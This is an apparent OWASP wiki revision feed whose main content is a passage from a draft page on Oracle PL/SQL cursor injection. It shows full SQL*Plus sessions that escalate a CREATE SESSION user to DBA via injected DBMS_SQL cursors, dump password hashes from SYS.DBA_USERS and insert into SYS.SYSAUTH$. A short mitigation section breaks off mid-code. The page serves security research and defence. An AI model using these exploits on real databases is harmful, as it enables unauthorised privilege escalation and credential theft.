* [1] [www.oracle.com the Oracle website]&lt;br /&gt;
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:Oracle Database]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46414</id>
		<title>Oracle Database</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Oracle_Database&amp;diff=46414"/>
				<updated>2008-11-14T16:13:23Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: New page: Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle h...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Oracle Database (commonly referred to as Oracle RDBMS or simply Oracle) is a relational database management system (RDBMS) produced and marketed by Oracle Corporation. As of 2008, Oracle had become a major presence in database computing.&lt;br /&gt;
&lt;br /&gt;
Larry Ellison and his friends and former co-workers Bob Miner and Ed Oates started the consultancy Software Development Laboratories (SDL) in 1977. SDL developed the original version of the Oracle software. The name Oracle comes from the code-name of a CIA-funded project Ellison had worked on while previously employed by Ampex.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[Oracle Database:Default accounts]&lt;br /&gt;
[Oracle Database:Encryption]&lt;br /&gt;
[Oracle Database:File system]&lt;br /&gt;
[Oracle Database:TNS Listner]&lt;br /&gt;
[Oracle Database:Critcal Patch Update]&lt;br /&gt;
[Oracle Database:Passwords]&lt;br /&gt;
[Oracle Database:Auditing]&lt;br /&gt;
[Oracle Database:Monitoring]&lt;br /&gt;
[Oracle Database:Forensics]&lt;br /&gt;
&lt;br /&gt;
==Resources==&lt;br /&gt;
* [1] [www.oracle.com Oracle's website]&lt;br /&gt;
* [2] [http://en.wikipedia.org/wiki/Oracle_Database Wiki entry for Oracle]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46413</id>
		<title>PL/SQL:Cursor Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46413"/>
				<updated>2008-11-14T15:56:17Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008, the material is provided by David Litchfield, this needs to be rewritten to the OWASP standard (introduction, vunerabilty, attack and countermeasure)&lt;br /&gt;
Also the markup for the code examples is wrong.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
 &lt;br /&gt;
On occasion Oracle in their alerts state that the ability to create a procedure or a function is required for an attacker to be able to exploit a flaw. For example, DB02 in the October 2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE trigger. In the Risk Matrix section of the alert it states that an attacker must have the CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. This paper describes a new method whereby an attacker, seeking to exploit a SQL injection flaw in an Oracle database server, may do so without the need to create an auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this research is to show that all SQL injection flaws can be fully exploited without any system privilege other than CREATE SESSION and accordingly the risk should never be &amp;quot;marked down&amp;quot;. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
The problem for the attacker... &lt;br /&gt;
 &lt;br /&gt;
Consider the following PL/SQL procedure: &lt;br /&gt;
 &lt;br /&gt;
 CONNECT / AS SYSDBA &lt;br /&gt;
 CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS &lt;br /&gt;
 TYPE C_TYPE IS REF CURSOR; &lt;br /&gt;
 CV C_TYPE; &lt;br /&gt;
 BUFFER VARCHAR2(200); &lt;br /&gt;
 BEGIN &lt;br /&gt;
 DBMS_OUTPUT.ENABLE(1000000); &lt;br /&gt;
 OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS &lt;br /&gt;
 WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; &lt;br /&gt;
 LOOP &lt;br /&gt;
 FETCH CV INTO BUFFER; &lt;br /&gt;
 DBMS_OUTPUT.PUT_LINE(BUFFER); &lt;br /&gt;
 EXIT WHEN CV%NOTFOUND; &lt;br /&gt;
 END LOOP; &lt;br /&gt;
 CLOSE CV; &lt;br /&gt;
 END; &lt;br /&gt;
 / &lt;br /&gt;
 GRANT EXECUTE ON GET_OWNER TO PUBLIC; &lt;br /&gt;
 &lt;br /&gt;
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a SELECT query which is then executed. Due to the fact that Oracle won't batch queries, &lt;br /&gt;
for example like Microsoft SQL Server, the attacker is limited in terms of what they could do when it comes to exploiting the flaw. One thing the attacker could do is perform a UNION SELECT to gain access to arbitrary data: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS &lt;br /&gt;
 -- '); &lt;br /&gt;
 16B58553D83807DF 1718E5DBB8F89784 &lt;br /&gt;
 24ABAB8B06281B4C &lt;br /&gt;
 ... &lt;br /&gt;
 ... &lt;br /&gt;
 &lt;br /&gt;
What if they wanted to do more than just this, though, and perform a DDL or DML operation? In Oracle, the attacker could not simply inject a &amp;quot;GRANT DBA TO PUBLIC&amp;quot; &lt;br /&gt;
or an &amp;quot;INSERT something into some table&amp;quot; statement after the application defined SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a function and inject this: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID &lt;br /&gt;
 CURRENT_USER IS &lt;br /&gt;
   2  PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
   3  BEGIN &lt;br /&gt;
   4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; &lt;br /&gt;
   5  RETURN 'GOT_DBA_PRIVS'; &lt;br /&gt;
   6  END; &lt;br /&gt;
   7  / &lt;br /&gt;
 &lt;br /&gt;
 Function created. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); &lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
 Role set. &lt;br /&gt;
 &lt;br /&gt;
Here, SCOTT has created a function called GET_DBA and this is then injected into the application defined SELECT query using the concatenation operator - the double pipe. As part of executing the SELECT query the database server also executes the GET_DBA function with SYS privileges and the GRANT succeeds. This GET_DBA function is an auxiliary inject function and it performs the real work of the exploit. If an attacker can't create their own functions then they must find a function that already exists on the system - a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned DBMS_EXPORT_EXTENSION package could be used: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; &lt;br /&gt;
 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP&lt;br /&gt;
 UT&amp;quot;.PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
 BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--&lt;br /&gt;
 ','SYS',0,'1',0) &lt;br /&gt;
 &lt;br /&gt;
This package was vulnerable to SQL injection and attacker supplied arguments were embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this package they could execute arbitrary SQL using this function alone - there was no need to inject it into another vulnerable package. As already stated, this has since been fixed.  &lt;br /&gt;
 &lt;br /&gt;
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a[PL/SQL:Cursor_Snarfing cursor snarfing issue] that can be exploited to run arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. Both are currently being fixed by Oracle and until the patch is out they will remain &amp;quot;nameless&amp;quot;.  &lt;br /&gt;
 &lt;br /&gt;
Each of the three known extant functions that can be used as auxiliaries contain a vulnerability of some sort and will all be patched at some stage making their &amp;quot;usefulness&amp;quot; time limited. There is what could be argued as a fourth function that can be abused by an attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say &amp;quot;could be argued&amp;quot; because it's not as straight forward as simply injecting the function - it needs to be primed first. What follows is a description of the new method: it is simple multi-stage attack (so simple in fact I should have thought of it years ago!) and it works on all versions of Oracle and can be exploited by an attacker to run any SQL - provided of course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type  which is vulnerable to SQL injection. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==The DBMS_SQL package== &lt;br /&gt;
 &lt;br /&gt;
The DBMS_SQL package contains a number of procedures and functions that can be &lt;br /&gt;
used to execute dynamic SQL queries: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
   6     DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); &lt;br /&gt;
   7     RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); &lt;br /&gt;
   8     DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); &lt;br /&gt;
   9  END; &lt;br /&gt;
   10 / &lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here, we create a cursor called &amp;quot;MY_CURSOR&amp;quot; using the DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case &amp;quot;SELECT 1 FROM DUAL&amp;quot;, by using the DBMS_SQL.PARSE procedure. By doing this, the cursor becomes like a handle to this query which is then executed using the DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to execute arbitrary SQL in open a cursor and parse the SQL and then inject the DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
   6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to public''; commit; end;',0); &lt;br /&gt;
   7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
   8  END; &lt;br /&gt;
   9  / &lt;br /&gt;
 Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
 Role set. &lt;br /&gt;
 &lt;br /&gt;
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to &lt;br /&gt;
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass &lt;br /&gt;
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the &lt;br /&gt;
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use &lt;br /&gt;
the CHR function to convert the number to a character - which can then be concatenated. &lt;br /&gt;
When the application defined SELECT query executes so too does the &lt;br /&gt;
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS &lt;br /&gt;
privileges - in this case granting DBA privileges to PUBLIC. &lt;br /&gt;
 &lt;br /&gt;
==Only Half-primed...== &lt;br /&gt;
 &lt;br /&gt;
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion &lt;br /&gt;
detection/prevention system, the attacker wishes to perform an INSERT to achieve the &lt;br /&gt;
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to &lt;br /&gt;
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. &lt;br /&gt;
An error is returned from DBMS_SQL: table or view does not exist: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
 SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
   6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES(1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''; commit; end;',0); &lt;br /&gt;
   7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
   8  END; &lt;br /&gt;
   9  / &lt;br /&gt;
 Cursor value is :4  &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-00942: table or view does not exist &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a &lt;br /&gt;
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an &lt;br /&gt;
INSERT we've already seen we can grant DBA privileges and another action an attacker &lt;br /&gt;
can take using this method is to create a function - even though they don't have the &lt;br /&gt;
permissions to do so directly. Let's create a user with only the CREATE SESSION &lt;br /&gt;
privilege and no more: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT / AS SYSDBA &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; CREATE USER CSESS IDENTIFIED BY PASSWORD; &lt;br /&gt;
  &lt;br /&gt;
 User created. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; GRANT CREATE SESSION TO CSESS; &lt;br /&gt;
 &lt;br /&gt;
 Grant succeeded. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
 PRIVILEGE &lt;br /&gt;
 ---------------------------------------- &lt;br /&gt;
 CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
Now with our test user, CSESS, in place let's go ahead, connect as them and create a &lt;br /&gt;
function even though we only have the CREATE SESSION privilege: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
 SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
   6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate p; return 1; end;''; commit; end;',0); &lt;br /&gt;
   7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
   8  END; &lt;br /&gt;
   9  / &lt;br /&gt;
 Cursor value is :4  &lt;br /&gt;
  &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
  &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here we attempt to create a function call CSESS_FUNC. Now see if the function was &lt;br /&gt;
actually created: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; &lt;br /&gt;
  &lt;br /&gt;
 CSESS_FUNC('SELECT1FROMDUAL') &lt;br /&gt;
 ----------------------------- &lt;br /&gt;
                             1 &lt;br /&gt;
  &lt;br /&gt;
 SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
All looks good. Now we can use this function to do whatever we want: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 SET ROLE DBA &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
  &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
  &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
  &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
  &lt;br /&gt;
 Role set. &lt;br /&gt;
 &lt;br /&gt;
Note that, on some systems, such as 10g Release 2 a &amp;quot;unique constraint&amp;quot; error might be &lt;br /&gt;
generated but the INSERT does succeed: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 SET ROLE DBA &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma autonomous_transaction; begin execute immediate ''''INSERT INTO SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; &lt;br /&gt;
  &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 ORA-06512: at &amp;quot;CSESS.CSESS_FUNC&amp;quot;, line 1 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
  &lt;br /&gt;
 Role set. &lt;br /&gt;
 &lt;br /&gt;
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with &amp;quot;limited&amp;quot; scope, an attacker can create their own auxiliary inject function to then do whatever they want. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==Exploiting the SDO_DROP_USER_BEFORE trigger==&lt;br /&gt;
 &lt;br /&gt;
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g Release 2 and before October 2006, when the flaw was patched, this trigger owned by &lt;br /&gt;
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) &lt;br /&gt;
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2006.html#AppendixA] &lt;br /&gt;
 &lt;br /&gt;
The problem lay in the fact that the name of the user being dropped was embedded withina block of anonymous PL/SQL: &lt;br /&gt;
 &lt;br /&gt;
 ... &lt;br /&gt;
 ... &lt;br /&gt;
 EXECUTE IMMEDIATE &lt;br /&gt;
 'begin ' || &lt;br /&gt;
 'mdsys.rdf_apis_internal.' || &lt;br /&gt;
 'notify_drop_user(''' || dictionary_obj_name || '''); ' || &lt;br /&gt;
 'end;'; &lt;br /&gt;
 ... &lt;br /&gt;
 ... &lt;br /&gt;
 &lt;br /&gt;
This is the vulnerable code from the trigger. Here, &amp;quot;dictionary_obj_name&amp;quot; is the name of the user being dropped and, as this &amp;quot;user&amp;quot; could be arbitrary, it was possible for an attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA privileges an attacker needs to jump through some hoops but it can be done. MDSYS is not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege.&lt;br /&gt;
&lt;br /&gt;
By leveraging this privilege during a SQL injection attack, the attacker can create an auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A &amp;quot;BEFORE INSERT&amp;quot; trigger will be created on this table; this trigger will execute the GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the DBA role: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
 SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
  &lt;br /&gt;
 PRIVILEGE &lt;br /&gt;
 ---------------------------------------- &lt;br /&gt;
 CREATE SESSION &lt;br /&gt;
  &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 SET ROLE DBA &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
Once logged in CSESS then creates a cursor and primes it with a query that will create the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that &lt;br /&gt;
our SQL is executing as expected: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
   6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
 begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); &lt;br /&gt;
 execute immediate ''create or replace trigger system.WHOPPEE before &lt;br /&gt;
 insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; &lt;br /&gt;
 dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE &lt;br /&gt;
 ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE &lt;br /&gt;
 ''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; &lt;br /&gt;
 end;',0); &lt;br /&gt;
   7  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
   8  END; &lt;br /&gt;
   9  / &lt;br /&gt;
 Cursor value is :3 &lt;br /&gt;
  &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
With this done we can see the value of the cursor is 3. We'll pass this as the argument to &lt;br /&gt;
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot;; &lt;br /&gt;
 EXECUTING FROM SDO_DROP_USER_BEFORE!!! &lt;br /&gt;
 DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot; &lt;br /&gt;
           * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist &lt;br /&gt;
 &lt;br /&gt;
Note we see our SQL is executing as expected - we can tell from the &amp;quot;EXECUTING &lt;br /&gt;
FROM SDO_DROP_USER_BEFORE!!!&amp;quot; message we output using &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created &lt;br /&gt;
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); &lt;br /&gt;
 In the trigger &lt;br /&gt;
  &lt;br /&gt;
 1 row created. &lt;br /&gt;
 &lt;br /&gt;
With the trigger having fired, PUBLIC should now have DBA privileges and we should &lt;br /&gt;
be able to set the role: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
  &lt;br /&gt;
 Role set. &lt;br /&gt;
 &lt;br /&gt;
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a &lt;br /&gt;
user that does not have the CREATE PROCEDURE privilege. &lt;br /&gt;
 &lt;br /&gt;
==Risk Mitigation==&lt;br /&gt;
 &lt;br /&gt;
What can be done to help prevent this being used as an attack method? Revoking the &lt;br /&gt;
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. &lt;br /&gt;
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC &lt;br /&gt;
execute permission could invalidate a large number of these dependencies. One useable &lt;br /&gt;
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the &lt;br /&gt;
only users on a particular database server that should be executing GRANT, CREATE or &lt;br /&gt;
ALTER are &amp;quot;SYS&amp;quot;, &amp;quot;JIM&amp;quot; and &amp;quot;JANE&amp;quot; then the following trigger could be created: &lt;br /&gt;
 &lt;br /&gt;
  CREATE OR REPLACE TRIGGER PREVENT_DDL BEFORE DDL ON DATABASE &lt;br /&gt;
  DECLARE &lt;br /&gt;
     V_USER VARCHAR(30); &lt;br /&gt;
  BEGIN &lt;br /&gt;
     V_USER := SYS_CONTEXT('USERENV','SESSION_USER'); &lt;br /&gt;
  &lt;br /&gt;
     IF V_USER != 'SYS' AND V_USER != 'JIM' AND V_USER !='JANE' THEN &lt;br /&gt;
             RAISE_APPLICATION_ERROR(-20002,'USER ' || V_USER || ' MAY NOT EXECUTE DDL'); &lt;br /&gt;
     END IF; &lt;br /&gt;
  END; &lt;br /&gt;
  / &lt;br /&gt;
 &lt;br /&gt;
If we now retry the attack the trigger will prevent us: &lt;br /&gt;
 SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
 Connected. &lt;br /&gt;
 SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
 SQL&amp;gt; DECLARE &lt;br /&gt;
   2  MY_CURSOR NUMBER; &lt;br /&gt;
   3  RESULT NUMBER; &lt;br /&gt;
   4  BEGIN &lt;br /&gt;
   5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
